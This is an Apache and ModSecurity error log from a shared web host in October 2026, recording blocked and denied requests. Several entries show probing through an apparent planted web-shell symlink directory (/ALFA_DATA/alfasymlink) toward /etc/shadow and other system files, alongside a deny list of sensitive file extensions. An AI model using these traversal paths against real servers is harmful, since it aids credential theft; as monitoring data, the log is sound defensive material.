[Sun Oct 25 21:28:30.433660 2026] [security2:error] [pid 2925075:tid 2925075] [client 43.166.134.47:53410] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "at6svqMybP9Ij19IhRsCxgAAAAs"]
[Sun Oct 25 21:28:31.044563 2026] [core:crit] [pid 2936922:tid 2936922] (13)Permission denied: [client 49.51.166.228:44408] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 21:28:38.537491 2026] [ssl:error] [pid 2936926:tid 2936926] (70014)End of file found: [client 23.23.137.202:29309] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:28:51.395449 2026] [security2:error] [pid 2922333:tid 2922333] [client 216.244.66.250:59126] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/request-key.conf"] [unique_id "at6s0yC9gidsUAz5qdCH4wAAAC8"]
[Sun Oct 25 21:28:51.395882 2026] [security2:error] [pid 2922333:tid 2922333] [client 216.244.66.250:59126] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/request-key.conf"] [unique_id "at6s0yC9gidsUAz5qdCH4wAAAC8"]
[Sun Oct 25 21:28:51.396183 2026] [security2:error] [pid 2922333:tid 2922333] [client 216.244.66.250:59126] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/request-key.conf"] [unique_id "at6s0yC9gidsUAz5qdCH4wAAAC8"]
[Sun Oct 25 21:28:54.140406 2026] [ssl:error] [pid 2936926:tid 2936926] (70014)End of file found: [client 52.71.218.25:15958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:29:18.162631 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 34.194.233.48:37072] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/subsystem/input3/subsystem/input0/event0/device/device/driver/uevent
[Sun Oct 25 21:29:21.759838 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 216.244.66.250:58488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/shadow.nouids.cache
[Sun Oct 25 21:29:22.210728 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 3.215.59.93:64126] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:29:26.188228 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 54.89.90.224:15388] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:29:38.337814 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.194.14.255:20793] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:29:39.981795 2026] [security2:error] [pid 2922333:tid 2922333] [client 85.208.96.207:50492] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/locale.conf"] [unique_id "at6tAyC9gidsUAz5qdCH5QAAAC8"]
[Sun Oct 25 21:29:39.982152 2026] [security2:error] [pid 2922333:tid 2922333] [client 85.208.96.207:50492] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/locale.conf"] [unique_id "at6tAyC9gidsUAz5qdCH5QAAAC8"]
[Sun Oct 25 21:29:39.982504 2026] [security2:error] [pid 2922333:tid 2922333] [client 85.208.96.207:50492] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/locale.conf"] [unique_id "at6tAyC9gidsUAz5qdCH5QAAAC8"]
[Sun Oct 25 21:29:45.595953 2026] [ssl:error] [pid 2925075:tid 2925075] (70014)End of file found: [client 85.208.96.197:53232] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:29:46.332993 2026] [ssl:error] [pid 2936922:tid 2936922] (70014)End of file found: [client 44.193.102.198:34730] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:29:54.149693 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 54.87.62.248:41682] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:30:01.787504 2026] [core:error] [pid 2934397:tid 2934397] (13)Permission denied: [client 85.208.96.200:39366] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/objects
[Sun Oct 25 21:30:06.221919 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 3.90.73.206:3284] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:30:18.154100 2026] [ssl:error] [pid 2925075:tid 2925075] (70014)End of file found: [client 107.20.255.194:16896] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:30:21.242133 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 185.191.171.3:15036] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:30:30.158817 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 3.230.69.161:11168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:30:38.340962 2026] [core:error] [pid 2936926:tid 2936926] (13)Permission denied: [client 98.83.8.142:21234] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/pnp/devices/00:02/firmware_node/subsystem/devices/LNXSYBUS:01/subsystem/drivers/hardware_error_device/uevent
[Sun Oct 25 21:30:46.228329 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 34.234.197.175:36540] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:30:50.204581 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 44.197.76.210:15975] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:31:06.458319 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 34.196.6.199:55502] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:31:14.007007 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 185.191.171.11:24992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/taskstats/usersize
[Sun Oct 25 21:31:14.165352 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 34.238.45.183:58361] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:31:42.154829 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 18.207.79.144:49988] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:31:52.111631 2026] [authz_core:error] [pid 2936922:tid 2936922] [client 62.171.170.229:44848] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 21:31:54.215772 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 54.163.136.244:40588] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:32:02.314852 2026] [ssl:error] [pid 2925278:tid 2925278] (22)Invalid argument: [client 44.205.180.155:10927] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:32:06.160033 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 18.215.24.66:38225] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:32:06.692096 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 185.191.171.11:30968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/perf_event/red_zone
[Sun Oct 25 21:32:10.279203 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 50.16.248.61:31168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:32:14.143009 2026] [ssl:error] [pid 2936922:tid 2936922] (70014)End of file found: [client 107.22.208.39:6120] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:32:26.176119 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 34.225.24.180:47860] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:32:46.149070 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 34.199.252.22:3143] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:32:50.141914 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 52.203.152.231:14038] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:32:58.157626 2026] [ssl:error] [pid 2936922:tid 2936922] (70014)End of file found: [client 44.215.231.15:7421] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:33:02.322207 2026] [proxy_fcgi:error] [pid 2938232:tid 2938232] [client 18.214.238.178:41930] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 21:33:18.140590 2026] [core:error] [pid 2936923:tid 2936923] (13)Permission denied: [client 34.233.114.237:58318] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:08/subsystem/drivers/hpet/uevent
[Sun Oct 25 21:33:22.193366 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 44.210.213.220:51564] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:33:26.174977 2026] [core:error] [pid 2938232:tid 2938232] (13)Permission denied: [client 34.194.95.99:50446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/physical_node/driver/cpu0/node0/subsystem/drivers_probe
[Sun Oct 25 21:33:34.170101 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 3.229.2.217:32006] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:33:38.170072 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 54.156.248.117:18622] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:33:42.884255 2026] [core:error] [pid 2936923:tid 2936923] (13)Permission denied: [client 185.191.171.9:63708] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ebitmap_node/validate
[Sun Oct 25 21:33:53.577209 2026] [security2:error] [pid 2928659:tid 2928659] [client 16.216.88.2:12288] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/time.conf"] [unique_id "at6uAQPsVzpIp32jbe9FTAAAAAQ"]
[Sun Oct 25 21:33:53.577741 2026] [security2:error] [pid 2928659:tid 2928659] [client 16.216.88.2:12288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/time.conf"] [unique_id "at6uAQPsVzpIp32jbe9FTAAAAAQ"]
[Sun Oct 25 21:33:53.578074 2026] [security2:error] [pid 2928659:tid 2928659] [client 16.216.88.2:12288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/time.conf"] [unique_id "at6uAQPsVzpIp32jbe9FTAAAAAQ"]
[Sun Oct 25 21:33:54.150957 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 3.213.85.234:27148] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:33:58.282620 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 44.215.231.15:52370] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:33:59.460062 2026] [ssl:error] [pid 2936923:tid 2936923] (6)No such device or address: [client 85.208.96.194:40998] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:33:59.513889 2026] [ssl:error] [pid 2925278:tid 2925278] (6)No such device or address: [client 85.208.96.194:41002] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:34:02.336120 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 18.214.238.178:7460] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:34:18.135935 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 44.194.134.53:64918] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:34:25.895470 2026] [core:error] [pid 2936922:tid 2936922] (13)Permission denied: [client 185.191.171.16:59512] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sighand_cache/objs_per_slab
[Sun Oct 25 21:34:26.137210 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 54.90.8.255:57007] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:34:30.154342 2026] [ssl:error] [pid 2936923:tid 2936923] (70014)End of file found: [client 54.166.126.132:19300] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:34:34.143818 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 3.220.148.166:45704] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:34:50.130077 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 54.197.178.107:50351] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:34:54.147402 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 44.210.204.255:2332] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:34:58.141660 2026] [core:error] [pid 2938168:tid 2938168] (13)Permission denied: [client 52.205.222.214:6865] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/bind
[Sun Oct 25 21:35:06.181686 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 98.83.226.125:53295] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:35:14.144446 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 98.84.60.17:57259] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:35:26.143617 2026] [ssl:error] [pid 2938168:tid 2938168] (70014)End of file found: [client 44.195.50.71:21503] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:35:42.137496 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 3.212.219.113:2322] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:35:46.278647 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 52.2.58.41:22637] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:36:06.149386 2026] [ssl:error] [pid 2936922:tid 2936922] (70014)End of file found: [client 3.217.82.254:29116] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:36:14.236041 2026] [ssl:error] [pid 2918422:tid 2918422] (5)Input/output error: [client 3.232.39.98:6179] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:36:34.171621 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 54.243.63.52:28299] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:36:38.249011 2026] [ssl:error] [pid 2936922:tid 2936922] (70014)End of file found: [client 52.71.216.196:34731] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:36:42.156553 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 18.213.27.222:36435] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:36:46.197530 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 34.236.185.101:60330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:36:54.153947 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.205.170.13:53762] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:36:58.131446 2026] [ssl:error] [pid 2938168:tid 2938168] (70014)End of file found: [client 52.73.142.41:50107] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:37:26.136585 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 54.91.122.193:59647] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/slab/dma-kmalloc-1k/destroy_by_rcu
[Sun Oct 25 21:37:34.159397 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.238.45.183:56008] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:37:58.145648 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 98.82.59.253:36650] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:38:00.409357 2026] [core:crit] [pid 2934397:tid 2934397] (13)Permission denied: [client 172.169.250.2:36226] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 21:38:01.989958 2026] [security2:error] [pid 2927273:tid 2927273] [client 107.172.76.131:50014] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6u7DmmX3asvCDITlDw9AAAAAA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 21:38:01.990009 2026] [security2:error] [pid 2927273:tid 2927273] [client 107.172.76.131:50014] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6u7DmmX3asvCDITlDw9AAAAAA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 21:38:06.139604 2026] [ssl:error] [pid 2936923:tid 2936923] (70014)End of file found: [client 52.205.113.104:61230] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:38:22.206431 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 44.221.180.179:14651] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:38:26.445468 2026] [authz_core:error] [pid 2919322:tid 2919322] [client 34.80.240.124:49608] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 21:38:26.682071 2026] [core:error] [pid 2934397:tid 2934397] (13)Permission denied: [client 185.191.171.6:32008] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_data/objects_partial
[Sun Oct 25 21:38:28.490554 2026] [security2:error] [pid 2919322:tid 2919322] [client 34.80.240.124:49608] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at6vFJHo7mmwz2JULlItrwAAAAw"]
[Sun Oct 25 21:38:28.490997 2026] [security2:error] [pid 2919322:tid 2919322] [client 34.80.240.124:49608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at6vFJHo7mmwz2JULlItrwAAAAw"]
[Sun Oct 25 21:38:28.491337 2026] [security2:error] [pid 2919322:tid 2919322] [client 34.80.240.124:49608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at6vFJHo7mmwz2JULlItrwAAAAw"]
[Sun Oct 25 21:38:29.023695 2026] [security2:error] [pid 2918422:tid 2918422] [client 34.80.240.124:49624] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at6vFcmX8eKs_cgmrz9w6AAAAAU"]
[Sun Oct 25 21:38:29.024127 2026] [security2:error] [pid 2918422:tid 2918422] [client 34.80.240.124:49624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at6vFcmX8eKs_cgmrz9w6AAAAAU"]
